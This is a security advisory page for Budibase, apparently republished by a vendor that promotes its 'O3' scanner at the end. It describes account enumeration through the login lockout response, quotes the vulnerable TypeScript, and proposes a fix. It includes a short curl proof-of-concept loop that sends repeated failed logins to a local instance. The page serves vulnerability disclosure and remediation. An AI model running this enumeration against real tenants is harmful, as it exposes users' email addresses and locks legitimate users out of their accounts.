GHSA-cr7p-cr3q-h5cm
MEDIUMBudibase: Account Enumeration via Login Lockout Response Differential
Blast Radius
Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.
@budibase/servernpmDescription
Summary
The login lockout mechanism in Budibase creates an observable response discrepancy that allows unauthenticated attackers to enumerate valid email addresses. When an existing user's account is locked after 5 failed login attempts, the server returns a distinct 403 response with X-Account-Locked: 1 and Retry-After: 900 headers plus the message "Account temporarily locked." For non-existing users, the response is always a generic 403 "Unauthorized" regardless of attempt count, because the lockout counter is never incremented.
Details
The vulnerability exists in two files that implement the login lockout feature:
packages/worker/src/middleware/lockout.ts:18-36 — The lockout middleware only blocks requests for users that exist in the database AND are locked:
export default async (ctx: Ctx, next: Next) => {
const email = ctx.request.body.username
if (!email) {
return await next()
}
const dbUser = await userSdk.db.getUserByEmail(email)
if (dbUser && (await isLocked(email))) { // line 26: non-existing users skip this entirely
ctx.set("X-Account-Locked", "1")
ctx.set("Retry-After", String(env.LOGIN_LOCKOUT_SECONDS))
ctx.throw(403, "Account temporarily locked. Try again later.")
}
return await next()
}
packages/worker/src/api/controllers/global/auth.ts:127-141 — The login handler only increments the failure counter for existing users:
if (err || !user) {
if (dbUser) { // line 129: non-existing users never trigger onFailed()
await onFailed(email)
}
if (await isLocked(email)) {
return handleLockoutResponse(ctx, email)
}
// ...
return passportCallback(ctx, user as any, err, info)
}
Execution flow for existing users (after 5 failed attempts):
lockoutmiddleware →getUserByEmailreturns user →isLockedreturns true → 403 +X-Account-Locked: 1+Retry-After: 900+ "Account temporarily locked"
Execution flow for non-existing users (any number of attempts):
lockoutmiddleware →getUserByEmailreturns null →dbUser && isLockedis false → passes through- Login handler → passport fails →
if (dbUser)is false →onFailed()never called → lock never set - Always returns 403 "Unauthorized"
No IP-based rate limiting exists on the login endpoint (POST /api/global/auth/:tenantId/login). The route is registered via loggedInRoutes which applies no authentication middleware. The password reset endpoint has proper IP-based rate limiting, but the login endpoint does not.
PoC
# Test against a known-existing email and a non-existing email
# Replace 'default' with the target tenant ID
# Step 1: Send 6 login attempts for an existing user
echo "=== Testing existing user ==="
for i in $(seq 1 6); do
echo "--- Attempt $i ---"
curl -s -D - -X POST http://localhost:10000/api/global/auth/default/login \
-H 'Content-Type: application/json' \
-d '{"username":"[email protected]","password":"wrongpassword"}' 2>&1 \
| grep -E 'HTTP/|X-Account-Locked|Retry-After|locked|Unauthorized'
echo ""
done
# Expected: Attempts 1-5 return "Unauthorized"
# Attempt 6 returns: "Account temporarily locked" + X-Account-Locked: 1 + Retry-After: 900
# Step 2: Send 6 login attempts for a non-existing user
echo "=== Testing non-existing user ==="
for i in $(seq 1 6); do
echo "--- Attempt $i ---"
curl -s -D - -X POST http://localhost:10000/api/global/auth/default/login \
-H 'Content-Type: application/json' \
-d '{"username":"[email protected]","password":"wrongpassword"}' 2>&1 \
| grep -E 'HTTP/|X-Account-Locked|Retry-After|locked|Unauthorized'
echo ""
done
# Expected: All 6 attempts return "Unauthorized" — no lockout ever triggers
# The difference in behavior after 5 attempts confirms whether the email exists.
Impact
- Account enumeration: An unauthenticated attacker can determine whether any email address is registered on a Budibase tenant by sending 5-6 login requests and observing whether the response changes to "Account temporarily locked" with the
X-Account-Lockedheader. - No rate limiting: The login endpoint has no IP-based rate limiting, allowing an attacker to enumerate emails at high speed from a single IP address (~5 requests per email).
- Denial of service side-effect: Each enumerated existing email is locked out for 15 minutes (900 seconds), preventing legitimate users from logging in during that window.
- Enables further attacks: Confirmed valid emails can be used for targeted phishing, credential stuffing against other services, or social engineering.
Recommended Fix
The lockout behavior should be identical regardless of whether the user exists. Apply lockout tracking based on the email string itself, not conditioned on database user existence:
packages/worker/src/middleware/lockout.ts — Remove the dbUser check:
export default async (ctx: Ctx, next: Next) => {
const email = ctx.request.body.username
if (!email) {
return await next()
}
// Check lock status based on email alone, not user existence
if (await isLocked(email)) {
ctx.set("X-Account-Locked", "1")
ctx.set("Retry-After", String(env.LOGIN_LOCKOUT_SECONDS))
ctx.throw(403, "Account temporarily locked. Try again later.")
}
return await next()
}
packages/worker/src/api/controllers/global/auth.ts — Remove the dbUser guard around onFailed:
if (err || !user) {
// Always increment failure counter regardless of user existence
await onFailed(email)
if (await isLocked(email)) {
return handleLockoutResponse(ctx, email)
}
// ...
}
Additionally, consider adding IP-based rate limiting to the login endpoint (similar to what already exists on the password reset endpoint) to limit enumeration throughput.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @budibase/server | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @budibase/server. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Remediation status
No patched version of @budibase/server has shipped for GHSA-cr7p-cr3q-h5cm yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-cr7p-cr3q-h5cm is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-cr7p-cr3q-h5cm. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-cr7p-cr3q-h5cm in your dependencies?
O3 detects GHSA-cr7p-cr3q-h5cm across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.